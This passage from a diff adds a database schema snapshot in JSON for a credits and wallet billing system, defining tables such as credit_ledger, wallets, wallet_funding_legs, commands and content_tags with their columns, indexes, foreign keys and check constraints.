+ }, + "consumeStatus": { + "name": "consumeStatus", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "consumeError": { + "name": "consumeError", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reconcileGenerationKey": { + "name": "reconcileGenerationKey", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "spendKind": { + "name": "spendKind", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'ai'" + }, + "fallbackFromWalletId": { + "name": "fallbackFromWalletId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "automationRef": { + "name": "automationRef", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "credit_ledger_user_idx": { + "name": "credit_ledger_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credit_ledger_wallet_idx": { + "name": "credit_ledger_wallet_idx", + "columns": [ + { + "expression": "walletId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credit_ledger_usage_log_unique": { + "name": "credit_ledger_usage_log_unique", + "columns": [ + { + "expression": "aiUsageLogId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"credit_ledger\".\"aiUsageLogId\" IS NOT NULL AND \"credit_ledger\".\"entryType\" = 'usage'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "credit_ledger_stripe_ref_unique": { + "name": "credit_ledger_stripe_ref_unique", + "columns": [ + { + "expression": "stripeRef", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"credit_ledger\".\"stripeRef\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "credit_ledger_reconcile_key_unique": { + "name": "credit_ledger_reconcile_key_unique", + "columns": [ + { + "expression": "reconcileGenerationKey", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"credit_ledger\".\"reconcileGenerationKey\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "credit_ledger_consume_status_idx": { + "name": "credit_ledger_consume_status_idx", + "columns": [ + { + "expression": "consumeStatus", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "credit_ledger_userId_users_id_fk": { + "name": "credit_ledger_userId_users_id_fk", + "tableFrom": "credit_ledger", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "credit_ledger_walletId_wallets_id_fk": { + "name": "credit_ledger_walletId_wallets_id_fk", + "tableFrom": "credit_ledger", + "tableTo": "wallets", + "columnsFrom": [ + "walletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "credit_ledger_fallbackFromWalletId_wallets_id_fk": { + "name": "credit_ledger_fallbackFromWalletId_wallets_id_fk", + "tableFrom": "credit_ledger", + "tableTo": "wallets", + "columnsFrom": [ + "fallbackFromWalletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.automation_skip_notices": { + "name": "automation_skip_notices", + "schema": "", + "columns": { + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "lastNotifiedAt": { + "name": "lastNotifiedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": {}, + "foreignKeys": { + "automation_skip_notices_driveId_drives_id_fk": { + "name": "automation_skip_notices_driveId_drives_id_fk", + "tableFrom": "automation_skip_notices", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_spend_overrides": { + "name": "drive_spend_overrides", + "schema": "", + "columns": { + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": { + "drive_spend_overrides_userId_users_id_fk": { + "name": "drive_spend_overrides_userId_users_id_fk", + "tableFrom": "drive_spend_overrides", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_spend_overrides_driveId_drives_id_fk": { + "name": "drive_spend_overrides_driveId_drives_id_fk", + "tableFrom": "drive_spend_overrides", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "drive_spend_overrides_pkey": { + "name": "drive_spend_overrides_pkey", + "columns": [ + "userId", + "driveId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.wallet_cap_alerts": { + "name": "wallet_cap_alerts", + "schema": "", + "columns": { + "walletId": { + "name": "walletId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "consumerKey": { + "name": "consumerKey", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "capWindow": { + "name": "capWindow", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "periodStart": { + "name": "periodStart", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "threshold": { + "name": "threshold", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "sentAt": { + "name": "sentAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": { + "wallet_cap_alerts_walletId_wallets_id_fk": { + "name": "wallet_cap_alerts_walletId_wallets_id_fk", + "tableFrom": "wallet_cap_alerts", + "tableTo": "wallets", + "columnsFrom": [ + "walletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "wallet_cap_alerts_pkey": { + "name": "wallet_cap_alerts_pkey", + "columns": [ + "walletId", + "consumerKey", + "capWindow", + "periodStart", + "threshold" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "wallet_cap_alerts_window_valid": { + "name": "wallet_cap_alerts_window_valid", + "value": "\"wallet_cap_alerts\".\"capWindow\" IN ('daily', 'monthly')" + }, + "wallet_cap_alerts_threshold_valid": { + "name": "wallet_cap_alerts_threshold_valid", + "value": "\"wallet_cap_alerts\".\"threshold\" IN (80, 100)" + } + }, + "isRLSEnabled": false + }, + "public.wallet_consumer_caps": { + "name": "wallet_consumer_caps", + "schema": "", + "columns": { + "walletId": { + "name": "walletId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "consumerKey": { + "name": "consumerKey", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "dailyCapCents": { + "name": "dailyCapCents", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "monthlyCapCents": { + "name": "monthlyCapCents", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": { + "wallet_consumer_caps_walletId_wallets_id_fk": { + "name": "wallet_consumer_caps_walletId_wallets_id_fk", + "tableFrom": "wallet_consumer_caps", + "tableTo": "wallets", + "columnsFrom": [ + "walletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "wallet_consumer_caps_pkey": { + "name": "wallet_consumer_caps_pkey", + "columns": [ + "walletId", + "consumerKey" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "wallet_consumer_caps_consumer_key_nonempty": { + "name": "wallet_consumer_caps_consumer_key_nonempty", + "value": "length(\"wallet_consumer_caps\".\"consumerKey\") > 0" + }, + "wallet_consumer_caps_daily_nonneg": { + "name": "wallet_consumer_caps_daily_nonneg", + "value": "\"wallet_consumer_caps\".\"dailyCapCents\" IS NULL OR \"wallet_consumer_caps\".\"dailyCapCents\" >= 0" + }, + "wallet_consumer_caps_monthly_nonneg": { + "name": "wallet_consumer_caps_monthly_nonneg", + "value": "\"wallet_consumer_caps\".\"monthlyCapCents\" IS NULL OR \"wallet_consumer_caps\".\"monthlyCapCents\" >= 0" + } + }, + "isRLSEnabled": false + }, + "public.wallet_debt_notices": { + "name": "wallet_debt_notices", + "schema": "", + "columns": { + "walletId": { + "name": "walletId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "lastNotifiedAt": { + "name": "lastNotifiedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": {}, + "foreignKeys": { + "wallet_debt_notices_walletId_wallets_id_fk": { + "name": "wallet_debt_notices_walletId_wallets_id_fk", + "tableFrom": "wallet_debt_notices", + "tableTo": "wallets", + "columnsFrom": [ + "walletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.wallet_funding_legs": { + "name": "wallet_funding_legs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "walletId": { + "name": "walletId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "funderKind": { + "name": "funderKind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "funderUserId": { + "name": "funderUserId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "funderOrgId": { + "name": "funderOrgId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "originalCents": { + "name": "originalCents", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "remainingCents": { + "name": "remainingCents", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "includedCents": { + "name": "includedCents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "nonRefundable": { + "name": "nonRefundable", + "type": "boolean", + "primaryKey": false, + "notNull": true + }, + "sourceRef": { + "name": "sourceRef", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "wallet_funding_legs_wallet_order_idx": { + "name": "wallet_funding_legs_wallet_order_idx", + "columns": [ + { + "expression": "walletId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "wallet_funding_legs_source_ref_unique": { + "name": "wallet_funding_legs_source_ref_unique", + "columns": [ + { + "expression": "sourceRef", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"sourceRef\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "wallet_funding_legs_walletId_wallets_id_fk": { + "name": "wallet_funding_legs_walletId_wallets_id_fk", + "tableFrom": "wallet_funding_legs", + "tableTo": "wallets", + "columnsFrom": [ + "walletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "wallet_funding_legs_funderUserId_users_id_fk": { + "name": "wallet_funding_legs_funderUserId_users_id_fk", + "tableFrom": "wallet_funding_legs", + "tableTo": "users", + "columnsFrom": [ + "funderUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "wallet_funding_legs_funderOrgId_organizations_id_fk": { + "name": "wallet_funding_legs_funderOrgId_organizations_id_fk", + "tableFrom": "wallet_funding_legs", + "tableTo": "organizations", + "columnsFrom": [ + "funderOrgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "wallet_funding_legs_funder_kind_valid": { + "name": "wallet_funding_legs_funder_kind_valid", + "value": "\"wallet_funding_legs\".\"funderKind\" IN ('owner', 'donation')" + }, + "wallet_funding_legs_original_positive": { + "name": "wallet_funding_legs_original_positive", + "value": "\"wallet_funding_legs\".\"originalCents\" > 0" + }, + "wallet_funding_legs_remaining_range": { + "name": "wallet_funding_legs_remaining_range", + "value": "\"wallet_funding_legs\".\"remainingCents\" >= 0 AND \"wallet_funding_legs\".\"remainingCents\" <= \"wallet_funding_legs\".\"originalCents\"" + }, + "wallet_funding_legs_included_range": { + "name": "wallet_funding_legs_included_range", + "value": "\"wallet_funding_legs\".\"includedCents\" >= 0 AND \"wallet_funding_legs\".\"includedCents\" <= \"wallet_funding_legs\".\"remainingCents\"" + }, + "wallet_funding_legs_donation_non_refundable": { + "name": "wallet_funding_legs_donation_non_refundable", + "value": "\"wallet_funding_legs\".\"funderKind\" <> 'donation' OR \"wallet_funding_legs\".\"nonRefundable\"" + }, + "wallet_funding_legs_donation_not_from_org": { + "name": "wallet_funding_legs_donation_not_from_org", + "value": "\"wallet_funding_legs\".\"funderKind\" <> 'donation' OR \"wallet_funding_legs\".\"funderOrgId\" IS NULL" + } + }, + "isRLSEnabled": false + }, + "public.wallets": { + "name": "wallets", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true, + "default": "('w' || substr(md5(random()::text || clock_timestamp()::text), 1, 23))" + }, + "ownerType": { + "name": "ownerType", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'user'" + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "subjectType": { + "name": "subjectType", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "subjectId": { + "name": "subjectId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "parentWalletId": { + "name": "parentWalletId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "monthlyRemainingCents": { + "name": "monthlyRemainingCents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "monthlyAllowanceCents": { + "name": "monthlyAllowanceCents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "spentCents": { + "name": "spentCents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "topupRemainingCents": { + "name": "topupRemainingCents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "debtCents": { + "name": "debtCents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "pendingMillicents": { + "name": "pendingMillicents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "monthlyPeriodStart": { + "name": "monthlyPeriodStart", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "monthlyPeriodEnd": { + "name": "monthlyPeriodEnd", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "donationsEnabled": { + "name": "donationsEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "guestSpendEnabled": { + "name": "guestSpendEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "fallbackRule": { + "name": "fallbackRule", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "defaultSpendSource": { + "name": "defaultSpendSource", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "alwaysOwnCredits": { + "name": "alwaysOwnCredits", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "overshootChoice": { + "name": "overshootChoice", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "wallets_personal_root_unique": { + "name": "wallets_personal_root_unique", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"ownerType\" = 'user' AND \"subjectType\" IS NULL AND \"parentWalletId\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "wallets_org_pool_unique": { + "name": "wallets_org_pool_unique", + "columns": [ + { + "expression": "orgId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"ownerType\" = 'org' AND \"subjectType\" IS NULL AND \"parentWalletId\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "wallets_subject_unique": { + "name": "wallets_subject_unique", + "columns": [ + { + "expression": "subjectType", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "subjectId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"subjectId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "wallets_parent_idx": { + "name": "wallets_parent_idx", + "columns": [ + { + "expression": "parentWalletId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "wallets_userId_users_id_fk": { + "name": "wallets_userId_users_id_fk", + "tableFrom": "wallets", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "wallets_orgId_organizations_id_fk": { + "name": "wallets_orgId_organizations_id_fk", + "tableFrom": "wallets", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "wallets_parentWalletId_wallets_id_fk": { + "name": "wallets_parentWalletId_wallets_id_fk", + "tableFrom": "wallets", + "tableTo": "wallets", + "columnsFrom": [ + "parentWalletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "no action", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "wallets_owner_type_valid": { + "name": "wallets_owner_type_valid", + "value": "\"wallets\".\"ownerType\" IN ('user', 'org')" + }, + "wallets_owner_matches_type": { + "name": "wallets_owner_matches_type", + "value": "(\"wallets\".\"ownerType\" = 'user' AND \"wallets\".\"userId\" IS NOT NULL AND \"wallets\".\"orgId\" IS NULL) OR (\"wallets\".\"ownerType\" = 'org' AND \"wallets\".\"orgId\" IS NOT NULL AND \"wallets\".\"userId\" IS NULL)" + }, + "wallets_subject_type_valid": { + "name": "wallets_subject_type_valid", + "value": "\"wallets\".\"subjectType\" IS NULL OR \"wallets\".\"subjectType\" = 'drive'" + }, + "wallets_subject_complete": { + "name": "wallets_subject_complete", + "value": "(\"wallets\".\"subjectType\" IS NULL) = (\"wallets\".\"subjectId\" IS NULL)" + }, + "wallets_not_own_parent": { + "name": "wallets_not_own_parent", + "value": "\"wallets\".\"parentWalletId\" IS NULL OR \"wallets\".\"parentWalletId\" <> \"wallets\".\"id\"" + }, + "wallets_status_valid": { + "name": "wallets_status_valid", + "value": "\"wallets\".\"status\" IN ('active', 'paused', 'over')" + }, + "wallets_fallback_rule_valid": { + "name": "wallets_fallback_rule_valid", + "value": "\"wallets\".\"fallbackRule\" IS NULL OR \"wallets\".\"fallbackRule\" IN ('refuse', 'seat_allowance', 'own_credits')" + }, + "wallets_overshoot_choice_valid": { + "name": "wallets_overshoot_choice_valid", + "value": "\"wallets\".\"overshootChoice\" IS NULL OR (\"wallets\".\"overshootChoice\" IN ('absorb_to_parent', 'wallet_debt') AND \"wallets\".\"parentWalletId\" IS NOT NULL)" + }, + "wallets_default_spend_source_valid": { + "name": "wallets_default_spend_source_valid", + "value": "\"wallets\".\"defaultSpendSource\" IS NULL OR (\"wallets\".\"defaultSpendSource\" IN ('drive_wallet', 'seat_allowance', 'own_credits') AND NOT (\"wallets\".\"ownerType\" = 'org' AND \"wallets\".\"subjectType\" IS NULL))" + }, + "wallets_guest_spend_subject_wallet": { + "name": "wallets_guest_spend_subject_wallet", + "value": "NOT \"wallets\".\"guestSpendEnabled\" OR \"wallets\".\"subjectType\" IS NOT NULL" + }, + "wallets_always_own_credits_personal_root": { + "name": "wallets_always_own_credits_personal_root", + "value": "NOT \"wallets\".\"alwaysOwnCredits\" OR (\"wallets\".\"ownerType\" = 'user' AND \"wallets\".\"subjectType\" IS NULL AND \"wallets\".\"parentWalletId\" IS NULL)" + }, + "wallets_monthly_remaining_nonneg": { + "name": "wallets_monthly_remaining_nonneg", + "value": "\"wallets\".\"monthlyRemainingCents\" >= 0" + }, + "wallets_monthly_allowance_nonneg": { + "name": "wallets_monthly_allowance_nonneg", + "value": "\"wallets\".\"monthlyAllowanceCents\" >= 0" + }, + "wallets_spent_cents_nonneg": { + "name": "wallets_spent_cents_nonneg", + "value": "\"wallets\".\"spentCents\" >= 0" + }, + "wallets_topup_remaining_nonneg": { + "name": "wallets_topup_remaining_nonneg", + "value": "\"wallets\".\"topupRemainingCents\" >= 0" + }, + "wallets_debt_cents_nonneg": { + "name": "wallets_debt_cents_nonneg", + "value": "\"wallets\".\"debtCents\" >= 0" + }, + "wallets_pending_millicents_range": { + "name": "wallets_pending_millicents_range", + "value": "\"wallets\".\"pendingMillicents\" >= 0 AND \"wallets\".\"pendingMillicents\" < 1000" + }, + "wallets_period_order": { + "name": "wallets_period_order", + "value": "\"wallets\".\"monthlyPeriodStart\" IS NULL OR \"wallets\".\"monthlyPeriodEnd\" IS NULL OR \"wallets\".\"monthlyPeriodStart\" <= \"wallets\".\"monthlyPeriodEnd\"" + } + }, + "isRLSEnabled": false + }, + "public.commands": { + "name": "commands", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_id": { + "name": "created_by_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "trigger": { + "name": "trigger", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "entry_page_id": { + "name": "entry_page_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'document'" + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "commands_user_id_idx": { + "name": "commands_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "commands_drive_id_idx": { + "name": "commands_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "commands_entry_page_id_idx": { + "name": "commands_entry_page_id_idx", + "columns": [ + { + "expression": "entry_page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "commands_user_id_users_id_fk": { + "name": "commands_user_id_users_id_fk", + "tableFrom": "commands", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "commands_drive_id_drives_id_fk": { + "name": "commands_drive_id_drives_id_fk", + "tableFrom": "commands", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "commands_created_by_id_users_id_fk": { + "name": "commands_created_by_id_users_id_fk", + "tableFrom": "commands", + "tableTo": "users", + "columnsFrom": [ + "created_by_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "commands_entry_page_id_pages_id_fk": { + "name": "commands_entry_page_id_pages_id_fk", + "tableFrom": "commands", + "tableTo": "pages", + "columnsFrom": [ + "entry_page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "commands_user_trigger": { + "name": "commands_user_trigger", + "nullsNotDistinct": false, + "columns": [ + "user_id", + "trigger" + ] + }, + "commands_drive_trigger": { + "name": "commands_drive_trigger", + "nullsNotDistinct": false, + "columns": [ + "drive_id", + "trigger" + ] + } + }, + "policies": {}, + "checkConstraints": { + "commands_scope_chk": { + "name": "commands_scope_chk", + "value": "(\"commands\".\"user_id\" IS NOT NULL AND \"commands\".\"drive_id\" IS NULL) OR (\"commands\".\"user_id\" IS NULL AND \"commands\".\"drive_id\" IS NOT NULL)" + }, + "commands_type_chk": { + "name": "commands_type_chk", + "value": "\"commands\".\"type\" IN ('document', 'prompt_template', 'builtin')" + } + }, + "isRLSEnabled": false + }, + "public.content_tags": { + "name": "content_tags", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "tagId": { + "name": "tagId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "targetKind": { + "name": "targetKind", + "type": "ContentTagTargetKind", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "anchor": { + "name": "anchor", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "anchorStatus": { + "name": "anchorStatus", + "type": "ContentTagAnchorStatus", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "channelMessageId": { + "name": "channelMessageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "aiMessageId": { + "name": "aiMessageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "ContentTagSource", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "confidence": { + "name": "confidence", + "type": "real", + "primaryKey": false, + "notNull": false + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "content_tags_page_id_idx": { + "name": "content_tags_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_tags_tag_id_idx": { + "name": "content_tags_tag_id_idx", + "columns": [ + { + "expression": "tagId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_tags_created_by_idx": { + "name": "content_tags_created_by_idx", + "columns": [ + { + "expression": "createdBy", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_tags_page_target_unique": { + "name": "content_tags_page_target_unique", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "tagId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"content_tags\".\"targetKind\" = 'page'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_tags_channel_message_target_unique": { + "name": "content_tags_channel_message_target_unique", + "columns": [ + { + "expression": "channelMessageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "tagId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"content_tags\".\"targetKind\" = 'channel_message'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_tags_ai_message_target_unique": { + "name": "content_tags_ai_message_target_unique", + "columns": [ + { + "expression": "aiMessageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "tagId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"content_tags\".\"targetKind\" = 'ai_message'", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "content_tags_tagId_tags_id_fk": { + "name": "content_tags_tagId_tags_id_fk", + 